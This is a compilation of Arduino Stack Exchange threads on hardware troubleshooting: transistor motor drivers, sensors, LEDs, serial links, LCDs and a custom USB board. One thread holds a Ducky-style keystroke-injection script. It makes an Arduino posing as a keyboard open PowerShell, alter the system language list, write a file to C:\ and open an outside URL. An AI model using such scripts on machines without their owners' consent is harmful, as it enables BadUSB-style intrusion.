text:
Circuit with a tip120 works with a Led but, don't with a vibrator motor
I have 2 Arduino Nano's. One with RF transmitter and the other with an RF receiver of 433 MHz and both have two 3v vibration motors. I want one Arduino to send a string to the other Arduino to let him know which vibrator he needs to vibrate. The connection works, when the Arduino with the transmitter sends a message, the other Arduino gets the message and sets pin 2 (the pin for the vibrator via a tip120) HIGH. But the vibrator does not vibrate. When I change the vibrator with a led it works, the led goes on and off. So why does the led work but the vibrator motor not?
I use the VirtualWire library for the RF modules.
Here is the code and I also provided a summary:
Summary: This is the receiver Arduino code. message_received is the string variable where the message is stored and in the loop, that message is to check what it contains. And then the led goes off and on.
#include <VirtualWire.h>

byte message[VW_MAX_MESSAGE_LEN]; // a buffer to store the incoming messages
byte messageLength = 255; // the size of the message

String message_received;

String message_go_on = "GO_ON";
String message_go_off = "GO_OF";

void setup() {
  Serial.begin(9600);
  vw_setup(2000); // Bits per sec
  vw_rx_start(); // Start the receiver
  Serial.println("RECEIVER MONITOR");
}

void loop() {
  // put your main code here, to run repeatedly:
  if (vw_get_message(message, &messageLength)){ // Non-blocking
    Serial.print("Incoming message: ");
    for (int i = 0; i < messageLength; i++){
      Serial.write(message[i]);
      message_received += (char)message[i];
    }
    Serial.println();
  }
  if(message_received == message_go_on){
    digitalWrite(2, HIGH);
  }
  if(message_received == message_go_off){
    digitalWrite(2, LOW);
  }
  message_received = "";
}

Summary: This is the code of the transmitter. I have 2 messages that I want to send every 200 milliseconds. The send method is for the transmitter and it needs a char array so I change the string to a char[] with a toCharArray() method.
#include <VirtualWire.h>

String message_go_on = "GO_ON";
String message_go_off = "GO_OF";

char buf1[VW_MAX_MESSAGE_LEN];
char buf2[VW_MAX_MESSAGE_LEN];

void setup() {
  Serial.begin(9600);
  vw_setup(2000); // Bits per sec

  message_go_on.toCharArray(buf1,VW_MAX_MESSAGE_LEN);
  message_go_off.toCharArray(buf2,VW_MAX_MESSAGE_LEN);
  Serial.println("TRNASMITTER MONITOR");
}

void loop() {
  send(buf1);
  delay(200);
  send(buf2);
  delay(200);
}

void send (char *message)
{
  vw_send((uint8_t *)message, strlen(message));
  vw_wait_tx(); // Wait until the whole message is gone
}

The circuit of the receiver Arduino:

I think the vibrator might be undersupplied but why would the led work?
Thanks for the help!

where is the vibrator? off screen at the bottom of the picture?

why did you post all that code? ... you said that it works with an LED, so a simple LED blink code should be used to troubleshoot the motor problem

The TIP120 is possibly the worst transistor you could choose for this job. It is a Darlington Pair transistor, and those have a (relatively) massive forward drop of between 2 and 4 volts. It works with the LED because an LED needs a tiny amount of current to operate compared to the motor and has a fixed forward voltage of its own. The motor doesn't, and is being starved of power by that huge voltage drop (it's getting maybe half the voltage it should be getting).
Throw away that TIP120 and replace it with a decent N-channel MOSFET - one with a "threshold voltage" (VGS) of 2.5V or less ideally.

Also note that to drive an inductive load like a motor you'll need a flyback diode to protect the transistor from back EMF.

@DuncanC Like the one you can see on the breaboard image?

I'm not going to try to trace out a picture of a breadboard. Now that you mention it I do see a diode in the breadboard, but it's worth calling out anyway because others who are not aware of the requirement read this tread


text:
DS18B20 doesn't work with pinMode for other devices
i do some project. There is DS18B20, 3 mosfet modules, 1 relay, display 1602, buzzer... I built it on bread board, everything worked.
Now i soldered it: arduino works, display works but DS18B20 doesn't return temperature.
I tried to solder thermometer over again - no result.
Then i glanced at my sketch and tried to remove some code in loop and setup. I understood that DS18B20 works only if in setup function no pinMode(...) for other modules. It's odd!
This is part of my code:
#include <EncButton.h>     // For buttons
#include <microDS18B20.h>  // For thermometer DS18b20
#include <EEPROM.h>        // For EEPROM memory to save settings
#include <ezBuzzer.h>      // For buzzer
#include "Screen.h"

/* --- PINS --- */
#define kettle_relay_pin 4     // Relay of kettle
#define mixer_pin 5            // Mixer pin
#define termometer_pin A2      // Termometer pin
#define hot_pump_pin A0        // Hot water
#define sugar_dispenser_pin A1 // Sugar dispenser
#define buzzer_pin 9           // Buzzer pin

#define l_button_pin 11      // Left button
#define r_button_pin 12      // Right button
#define potent_pin A3        // Potentiometer pin for set int values
/* --- PINS --- */

#define INIT_ADDR 1023  // EEPROM addres for init key
#define INIT_KEY 1      // EEPROM init key

/* --- Initialize objects --- */
// Connect thermometer DS18b20
MicroDS18B20<termometer_pin> ds;

ezBuzzer buzzer(buzzer_pin); // create ezBuzzer object that attach to a pin;

// Buttons
EncButton<EB_TICK, l_button_pin> l_button;
EncButton<EB_TICK, r_button_pin> r_button;

// LCD Display
#define _LCD_TYPE 1
#include <LCD_1602_RUS_ALL.h>
LCD_1602_RUS lcd(0x27, 16, 2);
Screen screen(&lcd); // Create screen object instance for convient work with lcd display
/* --- Initialize objects --- */

/* --- Initial values --- */
enum modes {
  // ...
};
modes currentMode = normalMode;

// Default settings
struct Settings{
   //...
} settings;

// Current values
int current_temp = 25; // Current temperature
// ...
/* --- Initial values --- */

void setup()
{
    Serial.begin(9600);

    // Buttons and potentiometer
    r_button.setButtonLevel(HIGH);
    l_button.setButtonLevel(HIGH);
    pinMode(potent_pin, INPUT);

    // Kettle
    pinMode(kettle_relay_pin, OUTPUT);
    digitalWrite(kettle_relay_pin, LOW);

    // Pump
    pinMode(hot_pump_pin, OUTPUT);
    digitalWrite(hot_pump_pin, LOW);

    // Mixer
    pinMode(mixer_pin, OUTPUT);
    digitalWrite(mixer_pin, LOW);

    // Sugar dispenser motor
    pinMode(sugar_dispenser_pin, OUTPUT);
    digitalWrite(sugar_dispenser_pin, LOW);

    // Buzzer
    pinMode(buzzer_pin, OUTPUT);

    // Init EEPROM
    if (EEPROM.read(INIT_ADDR) != INIT_KEY) {
        // EEPROM haven't been initialized yet
        EEPROM.write(INIT_ADDR, INIT_KEY); // Write init key
        EEPROM.put(0, settings); // Set default data
    }

    // Read settings and apply it
    EEPROM.get(0, settings);
    tea_temp = settings.tea_temp_default;
    sugar_count = settings.sugar_count_default;
    settings.mixer_time = 15 * 1000;

    // Init display
    screen.init();
}

unsigned long screenUpdateTimer = 0;

void loop() {
  buzzer.loop();

  l_button.tick();
  r_button.tick();

  creen.render(); // Always render information on display

  Serial.println(ds.online()); // TRUE

  // For ds18b20 tests
  ds.requestTemp();
  delay(1000);
  if (ds.readTemp()) Serial.println(ds.getTemp());
  else Serial.println("error");

  menuControl();
}

What's problem?
If i comment all pinMode and digitalWrite code, ds.readTemp works, else it's error.
UPDATE #1
I figured out that if i use ports A0 and A1, i get message "error" for this sketch:
#include <microDS18B20.h>
MicroDS18B20<A2> sensor;
void setup() {
  Serial.begin(9600);
}
void loop() {
  sensor.requestTemp();

  delay(1000);

  if (sensor.readTemp()) Serial.println(sensor.getTemp());
  else Serial.println("error");
}

And more. I get this message "error" every time without any connected modules. After some connects and disconnects of mosfet module to pins A0, A1, D5, D6. No temperature at all!

Update #2
I think it's died.
My main sketch (it worked yesterday) now doesn't work at all. But then i try some reboots and it works but not properly...
So, if it works, i can see my menu on display but it's ierogliphs sometimes. also sometimes buttons stop to work...
Is aruino dead?

This doesn't really match your problem description, but it is a problem, I think. LCD_1602_RUS lcd(0x27, 16, 2); 16 is another name for A2 on the atmega328p/atmega168p Nano. Half expect you just typo'd it. Maybe you wired to 6? No diagram so, no way to know.

No, 1602 must be connected to A4, A5. And it worked for bread board

Now i figured out one more thing. If i connect mosfet module to A0 or to A1 pin, DS18B20 show error... IDK how it works...

i tried disconnect 1602 as well, no result

Include all this stuff you're figuring out in your question. Add a diagram. Remove any unnecessary stuff. If you can create the same problem without a 1602 display involved, remove it it from both your test setup and the question.

it looks like something is mis-wired

Welcome! Posting an annotated schematic, not a frizzy picture would go a long way in us helping you. Links to "Technical" information on the  hardware devices will also help.

source: Stack Exchange

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/

sort: votes


text:
Arduino keyboard Input language problem
I need my Arduino (Leonardo) to open cmd, but if keyboard input language isn’t English it prints another language letters.
——— code ———
Keyboard.begin();
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(1000);
Keyboard.releaseAll();
Keyboard.write("cmd");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(1000);

——— ——— ———
So my question is: can I somehow detect language, and if it’s not there add it?
My idea was to set languagelist via powershell, and it would be perfect for my program, but I don’t know how I can write English text from Arduino on pc with another language :(
Also my Arduino has sd card, maybe it helps.
——— code ———
powershell $OldList = Get-WinUserLanguageList

powershell Set-WinUserLanguageList -LanguageList en-US -Force

-something

powershell Set-WinUserLanguageList -LanguageList $OldList -Force

——— ——— ———
Sorry if it is 0iq question, I’m very new to Arduino, it will be great to hear your ideas!

your question is not about Arduino

@jsotola, oh sorry, but about what is it then?
Can i rephrase my question like: Is there a way to print english text via arduino on system with another input language?
thank you for your reply!

As any other USB keyboard, your Arduino cannot change the host's input language. There is no way that your keyboard can directly change the input language.

Absolutely no way? Like copy from file from sd or check it somehow?
Thank you anyway @thebusybee!

Maybe there is a way to check printed text and if it is not english alt+shift?

@Mapagmataas a computer keyboard cannot look at the screen

Your Arduino will be virtually typing on a keyboard like this:

© Aon fi – CC-BY 3.0
See the labels on the keys? There are none. Your Windows OS has its
own idea of what each key means, but the Arduino has no way of knowing
that. Instead, you have to tell it explicitly what keyboard layout to
use, e.g.:
Keyboard.begin(KeyboardLayout_fr_FR);

If you don't, the Keyboard library will assume KeyboardLayout_en_US.
There is no way the computer can tell the keyboard what layout it
expects.

That's sad, thank you for your reply, now i'm undarstand it

Sorry, Maybe there is a way to check printed text and if it is not english alt+shift? @EdgarBonet

@Mapagmataas: Yes, you can check by looking at the screen. But a keyboard cannot do that, and neither can an Arduino posing as a keyboard.

Sorry, i am newby with arduino) Thank you!

@Mapagmataas it has nothing to do with Arduino ... the problem is with computers and keyboards

@jsotola: In principle you are right. However, this is the kind of info you only care about when you start using the Arduino Keyboard library.

i finaly found a solution for my problem. I wrote an algorithm, that automaticly change system input language if there are only two languages and one of them is English. This code is writen on Duckduino shortcuts, but it is not a problem to convert it back.
DELAY 1000

GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 1000
STRING "ok"
ENTER
DELAY 1000
STRING Set-WinUserLanguageList -LanguageList en-US, ru -Force
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 1000

ALT SHIFT
DELAY 1000
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 1000
STRING "ok"
ENTER
DELAY 1000
STRING Set-WinUserLanguageList -LanguageList ru, en-US -Force
ENTER
DELAY 1000
ALT SHIFT
DELAY 1000
STRING exit
ENTER
DELAY 1000

GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 1000
STRING "ENGLISH"
ENTER
DELAY 1000

You can use for ru another language, for "ok" i want to add Get-WinUserLanguageList | ConvertTo-Json | Out-File C:\WinUserLanguageList.json to save user's list.

Than language is different than english this code makes errors, and than language is right it changes language list, thats how it works!

Update:
DELAY 1000

GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 1000
STRING Get-WinUserLanguageList | ConvertTo-Json | Out-File C:\WinUserLanguageList.json
ENTER
DELAY 1000
STRING Set-WinUserLanguageList -LanguageList en-US, ru -Force
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 1000

ALT SHIFT
DELAY 1000
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 1000
STRING Get-WinUserLanguageList | ConvertTo-Json | Out-File C:\WinUserLanguageList.json
ENTER
DELAY 1000
STRING Set-WinUserLanguageList -LanguageList ru, en-US -Force
ENTER
DELAY 1000
ALT SHIFT
DELAY 1000
STRING exit
ENTER
DELAY 1000

GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 1000
STRING "CODE IN ENGLISH"
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 1000

GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 1000
STRING Get-WinUserLanguageList
ENTER
DELAY 1000
STRING $importedFile = Get-Content C:\WinUserLanguageList.json | ConvertFrom-Json
ENTER
DELAY 1000
STRING $langCollection = New-Object System.Collections.Generic.List[Microsoft.InternationalSettings.Commands.WinUserLanguage]
ENTER
DELAY 1000
STRING foreach ($item in $importedFile) {
ENTER
DELAY 1000
STRING $lang = [Microsoft.InternationalSettings.Commands.WinUserLanguage]::new($item.LanguageTag)
ENTER
DELAY 1000
STRING $lang.InputMethodTips.Clear()
ENTER
DELAY 1000
STRING foreach ($inputMethod in $item.InputMethodTips) {
ENTER
DELAY 1000
STRING $lang.InputMethodTips.Add($inputMethod) }
ENTER
DELAY 1000
STRING $lang.Handwriting = $item.Handwriting
ENTER
DELAY 1000
STRING $lang.Spellchecking = $item.Spellchecking
ENTER
DELAY 1000
STRING $langCollection += $lang }
ENTER
DELAY 1000
STRING Set-WinUserLanguageList $langCollection -Force
ENTER
DELAY 1000
STRING Remove-Item C:\WinUserLanguageList.json
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 1000

GUI r
DELAY 1000
STRING https://ma.kak.si
ENTER

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/


text:
How to connect receiver in an Arduino with a motor shield?
I have an Adafruit motor shield v1 stacked on an Arduino Uno. I want to add a 433Mhz receiver to the Uno so I can control it wirelessly. However as you know the motor shield completely covers the Arduino board and all its pins, except perhaps the analog ones (it appeared to me).
So can you please suggest a way to connect the receiver if possible. I desperately need it and can't afford to buy a Mega now.
Please help asap.

are there not through-hole "test pads" on the shield PCB that you can solder onto? can you not use the analog pins?

Adfruit Motor Shield v1 takes digital pins(D12 to D2) left only digital pins (D13,D1,D0) and all Analog pins of Arduino uno. So if you want to hookup RF receiver with Arduino then you have go this way.. connect RF Receiver output to the Digital pin D0 that is RX.
Here the schematic

Okay i just google about the sheild and found out pin 2 also remains unused so can i connect the receiver with it? And as u said to connect the receiver with rx,  wont there be problem uploading the sketch to arduino  d another point is does rx pin has any benefit ovr pin 2 for connecting the receiver? Plz confirm regarding the above points

Yeah You can also connect RF receiver output with pin 2. RF receiver gives DIGITAL output and both pin and Digital pin so there are no difference between Rx pin and Pin 2 for this case . Rx and Tx pin used only for some special cases (like Bluetooth, Serial Terminal e.t.c). while you uploading Sketch on Arduino just disconnect the Rx and Tx pin after uploading sketch connect again otherwise you might have get some error.

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/


text:
Arduino Nano and WS2812
I am new to electronics and especially Arduino-based products. I am currently trying my hand at using 5 segments of WS2812 RGB LEDs and using a Nano to control them. I included the picture below for the pin numbers.
If I wanted to run 5 groups of LEDs and use a library like the Adafruit Neopixel or Fastled to control the leds, what would be the best way of wiring them up to the Nano?
I am under the impression that the positives should all be connected to pin 27, the 5v pin, with a 1000 µF 25V capacitor. The ground wires will all be connected together to pin 04, Ground. The data pins will be wired to pins 6, 8, 9, 12 and 13 and each will have a 470 ohm 1/2W resistor on each pin.
I am unsure whether any of the other pins can be used for data pins. The input voltage will vary since this is used on a multi-rotor that I am building. The battery voltage will vary from 12.6V all the way down to maybe 9 volts. I was thinking of using a step down adjusted to 12V to keep the voltage at or under 12v and that will be connected to pin 30. I would love to hear if there are any better ways of wiring this project up.
Also would it be a better idea to power the LEDs from a 5V dedicated source and just use the Nano for the data pin connection? I will only be using roughly 30-40 WS2812s.

Regarding “The data pins will be wired to pins 6, 8, 9, 12 and 13 and each will have a 470 ohm 1/2W resistor on each pin”, note that WS2812s typically are connected together in strings, with the DO (data out) pin of each upstream unit connected to the DI (data in) pin of the next unit downstream. Thus, there is no need to allocate five Arduino IO pins; one is enough.
For further background on WS2812 mechanisms, see for example Is it possible to infer the length of a neopixel string using 1-wire protocol?, and see discussions and diagrams at adafruit.com and sparkfun.com.
Regarding use of an efficient step-down switching-supply voltage regulator set for 12 V out, if you use an adjustable regulator you might as well set it lower than that, for example at 8 or 9 volts. Typically, the regulators on Arduino boards that convert Vin to +5 or +3.3 V are linear regulators rather than switching regulators, so every unnecessary extra volt (above the dropout limit) proportionally increases the amount of wasted energy.
In typical use, a WS2812 draws 20 to 60 mA current, supposing up-to-five-volt power. Thus, a string of 30 to 40 of them will draw at least 0.6 A, in most cases, and up to 2.4 A, if all are on at top brightness. In either case, an external power supply would be de rigueur. You would connect the external supply's ground to the Nano's ground; the +5Vs need not be connected together.
Edit: Addressing questions from comments
Re “if one data in will control the entire array of LEDs, it should be connected to D13”, I'm not aware of any reason for that idea, and indeed would recommend against it. On many Arduino models, D13 drives an LED. While the Uno uses a buffer amplifier to drive the LED, the Nano just has a 680 Ω resistor in series with an LED. I'd not load it further.
Wiring each of several strips in its own chain seems quite reasonable. Yes, you could wire all the DIs of 30 or 40 WS2812 units in parallel. However, parallel inputs would require 30 or 40 wire runs, vs. the simple wiring chain the WS2812 is intended for. Note, per its spec sheet the WS2812 DI load is ±1 µA max, so one '328 IO pin could drive hundreds of them. But input capacitance, up to 15 pF each, probably precludes driving thousands in parallel.
If performance is an issue, possibly use short chains (up to several dozen units long) in parallel, rather than one long chain of hundreds of units. The spec sheet says, “When the refresh rate is 30fps, low speed model cascade number are not less than 512 points, high speed mode not less than 1024 points.” (Low speed refers to 400Kbps signalling; high speed, 800Kbps).
Note, paralleled chains improve refresh rates only when multiple chains are used to show the same pattern. Otherwise, each chain being refreshed separately is no faster than refreshing the same number of units in series. The library that drives a chain of WS2812s hogs the whole processor each time it sends a chain of data. Also note that scan rates of 400 Hz are mentioned in the spec sheet. It is likely to be futile to try to exceed that by paralleling units.
Summary: If you have a dozen or so units on a rotor arm, I'd wire them in series. If it's more convenient to keep each arm's wiring separate from that of other arms, then do so. If each arm will show the same pattern as other arms, you could wire the chain inputs (the first units in each chain) in parallel, else would use separate driver pins.

Thank you for that link.I wish I would have found that before posting.You guys and gals must be sick of new users asking the same questions over and over.The project I am in the process of trying to understand and put together has been done a million times and there are tons of videos but they never seem to go into the wiring or provide a schematic.The led strips I will be using can be wired in a chain but that will really complicate the project a bit because the strips are placed  at the 10 2 4 6 and 8 oclock positions on a clock and they are on each arm of a multi rotor.

I could run the wire to each strip in a chain but the wire will do an entire loop around the multirotor so that will be a hassle.I can do the strips in pairs of two and just use 4 instead of five.I read the link and from what I came to understand is if I wire all the strips together even though they aren't in a chain just wire the data in pin together they will all act in the same manner according to the code used?That will be just fine if that is how they will work?IWould it be wiser to just wire the power side of the leds directly to the regulator and not use the Arduino for power at all.

I am also under the impression that if one data in will control the entire array of led's it should be connected to D13?I am unsure if that is correct since I was under the impression that each pin on the Arduino can be assigned to do a wide range of things based on the code?

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/


text:
Problem with Software Serial: no response
I am using an Arduino Uno board with IDE 1.6.7.
I have tried to implement a tweaked version of the basic example (SoftwareSerial example) from the Software Serial library. The code is attached.
It should blink the light and print the message on the serial monitor. But I am not getting anything.
In fact, I also tried the example as it is. It did not work either.
#include <SoftwareSerial.h>

SoftwareSerial mySerial(8, 9); // RX, TX

void setup() {
    pinMode(13,OUTPUT);
    // Open serial communications and wait for port to open:
    Serial.begin(9600);
    while (!Serial) {
        ; // wait for serial port to connect. Needed for native USB port only
    }
    Serial.println("Goodnight moon!");
    // set the data rate for the SoftwareSerial port
    mySerial.begin(9600);
    delay(1000);
}

void loop() { // run over and over
    mySerial.println("hell");
    if (mySerial.available() > 0) {
        digitalWrite(13,HIGH);
        Serial.write("working..");
        delay(3000);
        digitalWrite(13,LOW);
        delay(2000);
    }
}

You are misunderstanding what "available" does. It doesn't tell you how much you sent, it tells you how many bytes are in the receive buffer.

I am checking if the buffer has some data not the quantum . If this condition is positive , the LED with pin 13 should blink. Simultaneously , a  message should be sent to serial terminal . Please let me know if the logic is wrong.

You just say "It does not work", but you could at least provide traces of what you can see on the "normal" serial console and what you see on the other serial console, what you type as input, how you connected TX/RX to your terminal. Without this information, there could be a dozen reasons why your setup does not work.

Can we see a schematic of your wiring, if you have any wires running around?

It would be extremely helpful if you can describe your setup,like your wiring and how you're sending the messages....

So what is connected to soft serial Rx (pin 8 ) ?
Just connect pin 8 and 9 so that the data you sent through pin 9 will be received in Rx and satisfies the if condition.
If this works, the problem is with your device connected to soft Rx

Do you have it connected right? Wire as follows: Tx of one device goes to Rx of the other. Tx does NOT go to Tx. Rx does NOT go to Rx. You must criss-cross them.

SoftwareSerial cannot transmit and receive at the same time.  So even if you connected pin 8 to 9 with a wire, your sketch will not receive what was transmitted.  That's a guess without your wiring diagram.
NeoSWSerial can simultaneously transmit and receive.  It is a drop-in replacement for SoftwareSerial.
However, AltSoftSerial is even better, and it only works on pins 8 & 9.  Use that instead!
This answer compares all 4 serial types, including HardwareSerial.

I built two scetch for testing. One for Arduino Nano no1 and another for Arduino Nano no2. They are tested and working, not only written to this page.
No2 is sending "hello" and No1 is listening and sending it to PC via Serial.
The speed (1200bps) is slow, but so it is easier to see what is happening.
Connect Pin10 of no1 to Pin11 of no2 and gnd to gnd.
Connect the Nanos to the USB-ports of the PC and set a monitor program (1200, 8N1) to listen no1.
This seems to be a good way to test Serial.print, Serial.println and Serial.write commands. You will be surprised.
/*No1:/
#include <SoftwareSerial.h>
SoftwareSerial mySerial(10, 11); // RX, TX
void setup() {
  Serial.begin(1200);
  Serial.println("Testing");
  mySerial.begin(1200);
}
void loop() { // run over and over
 if (mySerial.available()) //If this is missing, you get fast repeating carpage
{
    Serial.write(mySerial.read());
    Serial.print(".");
 }
}

/*No2:/
#include <SoftwareSerial.h>
 SoftwareSerial mySerial(10, 11); // RX, TX
 void setup(){
  mySerial.begin(1200);
}
void loop(){
    mySerial.print("Hello");
}

if(mySerial.available()>0)

mySerial.available() returns the number of bytes available in your serial receive buffer. Unless you are sending commands via serial in pins 8 and 9, this will remain 0 and you will never enter the if statement.
Also, you have two declarations for serial here:

Serial.begin() initialized the built-in UART USB module. Here you will be able to send/receive commands with a program such as Putty.
SoftwareSerial mySerial(8, 9); // RX,
mySerial.begin() initializes serial communications with pins 8 and 9 on the Arduino board. This would be if you wanted to send/receive commands with digital I/O instead of, or in addition to, the UART USB module.

Thanks for the quick response . However , I am sending bytes to mySerial Port via the following command in the loop: mySerial.println("hell");
Should it not initialize mySerial ?

The fact you send something out to TX does not mean it wshall be echoed back to RX, it all depends on how you connected TX and RX and how you setup your serial terminal (if you use one).

The serial portia initialized but there is nothing in the receive buffer unless you are sending data to your arduino from your computer over putty or telnet etc

Just remove the if statement and the code should make the LED blink at the very least

authors: Сергей Ярыгин


text:
LCD not doing anything
I just bought an LCD. I connected everything as explained in this sheet.
This is the code I am using:
#define RST 3
#define CE 2
#define DC 4
#define DIN 6
#define CLK 5

void LcdWriteCmd(byte cmd) {
  digitalWrite(DC, HIGH); //DC pin is low for commands
  digitalWrite(CE, HIGH);
  shiftOut(DIN, CLK, MSBFIRST, cmd); //transmit serial data
  digitalWrite(CE, LOW);
}

void setup() {
  pinMode(RST, OUTPUT);
  pinMode(CE, OUTPUT);
  pinMode(DC, OUTPUT);
  pinMode(DIN, OUTPUT);
  pinMode(CLK, OUTPUT);
  digitalWrite(RST, LOW);
  digitalWrite(RST, HIGH);
  LcdWriteCmd(0xAE); // LCD set display enabled
  LcdWriteCmd(0x21); // LCD set power COntrol
  LcdWriteCmd(0x14); // LCD bias mode 1:40
  LcdWriteCmd(0xA2); // LCD basic commands
  LcdWriteCmd(0xA9); // LCD all segments on
}

void loop() {
}

The commands I used are in the command table of this sheet. (page 12)
It is supposed to turn all pixels on now. However nothing happens. All pixels are staying off.
Can you see a problem?

Can you put a link or datasheet of your specificaties LCD? There are a lot of LCD's on the market

On most devices CE is active low. In LcdWriteCmd you set it high, send the command and then set it low, try swapping that to low, send command, high.  Also when you set reset low then high maybe add a short pause in there. A millisecond or less would be fine, just something to add a tiny delay.  And maybe double check that your LCD has an active low reset not active high, if it's being held in reset then nothing will show up, active low is more common but isn't guaranteed.

I am not so sure the command that you used to turn all pixels on is right. It might say it in the document but you should try to manually turn a couple of pixels on yourself. check the link bellow if you need more assistance with LCDs.
Also be sure that you connected some power and a potentiometer to the contrast pin and/or backlight of the LCD.
https://www.youtube.com/watch?v=dZZynJLmTn8

thank you. The contrast could be a problem. I always saw that the contrast level is controlled by a pin called VEE. However i didn't find a pin that has that name and there is also no pin that could be for contrast (http://www.buydisplay.com/download/ic/UC1701.pdf , page 6). I that a problem?

Your LCD seems a little weird in the sense that it doesn't feature any contrast pins.


text:
Why wont my custom Arduino-Micro-based board connect over USB?
I designed and printed a PCB for my MIDI controller project with a modified Arduino Micro microcontroller essentially built into the design. I swapped out the USB Micro for a USB-C type port (just using the 2.0 protocol). Although I can program the board via ICSP, including getting it to run my Arduino sketches (which I have tested by having it light up the LEDs in a certain pattern, which works as expected), and the fact that it receives power via USB, the problem is that I cannot get the device to connect to my PC over USB - it is not recognized as a USB device, and cannot seem to send or receive data over USB. I'm not sure if I've done something wrong in the design or if I am simply missing something, but could use some advice, as in order to function as intended, the board will need to be able to communicate over USB.
I have tested with various USB-A to USB-C cables and USB-A to Micro cables (tested with other Arduinos) and a Micro to USB-C adapter.
As per various instructions I found online, I connected pull-down resistors of 5.1k Ohms to CC1 and CC2, left SBU1 and SBU2 unconnected as I was planning to use 2.0 protocols to keep things simple (as a related question, can these actually be used to make use of 3.0+ protocols in a design like this with an ATMEGA32U4? Would this be considered better practice in this case and potentially bypass the error?), and wired up D- and D+ as shown in the schematic below; with a EZJZ0V500AA Varistor between each and GND and running through a 4D03WGJ0220T5E Resistor network (which I don't know much about, including whether this type of component has any polarity? I simply tried to follow how the same sort of component was used in the official Arduino Micro schematics) and finally into pins 3 and 4 of the ATMEGA32U4.
This is the original schematic of the board as it was assembled, but as a result of some power issues with this same board which I have since sorted out with help in a separate post Why wont my custom Arduino-Micro-based board receive power via USB?, I had to bypass the 5V regulator and just use VUSB as +5V, so I will put the updated schematic reflecting these changes below the original (I wouldn't think it would affect this issue, but I'm not that experienced and want to err on the side of providing as many details as possible)
Original Schematic:

Revised Schematic:

Components:
| Designator                                             | Value                   | Component                |
|:--------------------------------------------------------|:-------------------------|:--------------------------|
| C_ARD_1, C_ARD_2, C_ARD_6, C_ARD_9, C_ARD_10, C_ARD_11 | 100n                    | CL05B104KO5NNNC          |
| C_ARD_3, C_ARD_14                                      | 22u                     | RVT22UF16V67RV0017       |
| C_ARD_4, C_ARD_5, C_ARD_7                              | 1uF                     | CL05A105KA5NQNC          |
| C_ARD_12, C_ARD_13                                     | 22pF                    | 0402CG220J500NT          |
| D_ARD_2                                                | CD1206-S01575           | CDSU4148-HF              |
| F1                                                     | MF-MSMF050-2 500mA      | MF-MSMF050-2             |
| J3                                                     | USB_C_Receptacle_USB2.0 | KH-TYPE-C-16P            |
| L1                                                     | green                   | 19-217/GHC-YR1S2/3T      |
| L2                                                     | MH2029-300Y             | BLM21PG300SN1D           |
| ON1                                                    | blue                    | 19-217/BHC-ZL1M2RY/3T    |
| R_ARD_1, R_ARD_2, R_ARD_4, R_ARD_9                     | 10K                     | 0402WGF1002TCE           |
| R_ARD_5, R_ARD_6, R_ARD_7, R_ARD_8                     | 1K                      | 0402WGF1001TCE           |
| R_ARD_10, R_ARD_11                                     | 5.1k                    | 0402WGF5101TCE           |
| RP3                                                    | 22R                     | 4D03WGJ0220T5E           |
| RX1, TX1                                               | yellow                  | 19-213/Y2C-CQ2R2L/3T(CY) |
| T1                                                     | FDN340P/PMV48XP         | PMV48XP                  |
| T2                                                     | PMV48XP                 | PMV48XP                  |
| U1                                                     | ATMEGA32U4-XUMU         | ATMEGA32U4-MU            |
| U2                                                     | NCP1117-5               | NCP1117ST50T3G           |
| U4                                                     | LP2985-33DBVR           | LP2985-33DBVR            |
| Y3                                                     | 16MHz KX-7              | 3225-16.00-10-10-10/A    |
| Z1, Z2                                                 | CG0603MLC-05E           | EZJZ0V500AA              |

Did you try to burn the bootloader over ICSP?

"as a side question" it's probably better than you don't ask that in the same question. I gather you sorted out your power problem and this is now about about data. Or at least I hope that's what's going on. If so, you may want to make that really clear before people start trying to close it as a duplicate. Like before, if you mention that you're testing with a USB-A to USB-C cable, this eliminates any concerns regarding the design or implementation or design surrounding CC1/CC2. They become a non-issue, because they're handled by the cable in that case.

@chrisl Yes, I have successfully burned the bootloader over ICSP prior to testing it over USB

@timemage Appreciate the advice, I am fairly new to this platform so wasn't completely sure the best way to go about asking multiple related questions, etc. I did indeed solve the power issues and thought it might confuse things to mention that again here since this seems to be a mostly unrelated issue, but I'll make a note of it in an edit.

Did you do something like select Arduino Micro and burn the bootloader through ISP? Or did you install use the DFU loader?

@timemage Yeah in the Arduino 1.8.19 IDE I selected Arduino Micro as the board and burned the bootloader using an Arduino Uno as ISP, and then I also successfully uploaded a sketch through Upload Using Programmer through the ICSP as well. I'm not familiar with the DFU loader but can look into that.

Is your board works with blinking LED (that's proof the board generally working) or only the USB port not working?

That was not a recommendation for DFU. Some things to do/measure that you can maybe integrate in the question: Run DRC on the PCB layout if you haven't already.  Measure the UCAP pin to see that 3.3V is there.  Power the board with 5V as though it were connected to USB (don't actually connect it to USB) and measure Measure D+ and D- with a high (15K-50k) valued pulldown after an external reset. See whether or not D+ being pulled up when in the bootloader and that D- is not. If you don't mind the grief involved test with Z1/Z2 removed.

@hcheung Yes, I was able to successfully upload and run an LED blinking sketch to the board (via ICSP programming) so I believe the board is functioning aside from the USB data transfer.

Your USB circuitry looks okay, and you are using a USB-2 port which is the correct choice. Have you installed the USB driver?

@timemage "Not a recommendation for DFU" Understood. Thanks for all the test suggestions. I have been getting a clean read from DRC (though I know from my previous power troubles that that doesn't preclude incorrect footprint selection, so I will double check anything with polarity). Measuring 3.3V at UCAP. As for the final test, do I understand correctly:  remove Z1 and Z2 and effectively replace each with a high value pull-down resistor, burn bootloader to the board, then test (while the board is powered but no sketch running) if D+ is being pulled to a higher voltage while D- is not?

